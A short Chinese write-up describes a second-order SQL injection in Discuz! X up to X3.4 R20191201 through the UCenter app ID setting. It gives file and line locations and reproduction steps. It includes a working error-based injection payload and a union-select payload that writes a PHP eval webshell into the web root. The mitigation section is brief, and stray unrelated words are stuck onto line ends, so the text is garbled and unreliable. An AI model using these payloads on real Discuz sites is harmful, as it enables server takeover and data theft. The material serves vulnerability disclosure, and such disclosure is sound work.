Discuz!X全版本存在SQL注入漏洞。漏洞產生的緣由是source\admincp\admincp_setting.php在處理$settingnew['uc']['appid']參數時未進行徹底過濾,致使出現二次注入。在特定條件下,攻擊者能夠利用該漏洞獲取服務器權限。php
Discuz! X系列全版本,截止Discuz!X最新的Discuz! X3.4 R20191201版本shell
(1)\source\admincp\admincp_setting.php第2571行,用戶可控參數$settingnew['uc']['appid']替換掉.\config\config_ucenter.php配置文件中的常量UC_APPID的值,並寫入配置文件服務器
(2)\uc_client\model\base.php第206行,UC_APPID直接拼接到SQL語句中app
(3)當調用函數時將觸發二次注入函數
(1)在站長-UCenter設置下的應用ID中輸入1’測試
(2)訪問首頁將觸發產生SQL報錯spa
(3)故能夠插入其餘測試payloadcode
1' and (updatexml(1,concat(0x7e,(select version()),0x7e),1));-- a
(4)寫馬xml
1' union select '<?php @eval($_POST[1]);?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/shell.php';-- a
(1)後臺不使用弱口令blog
(2)官方暫未發佈補丁,關注官方補丁信息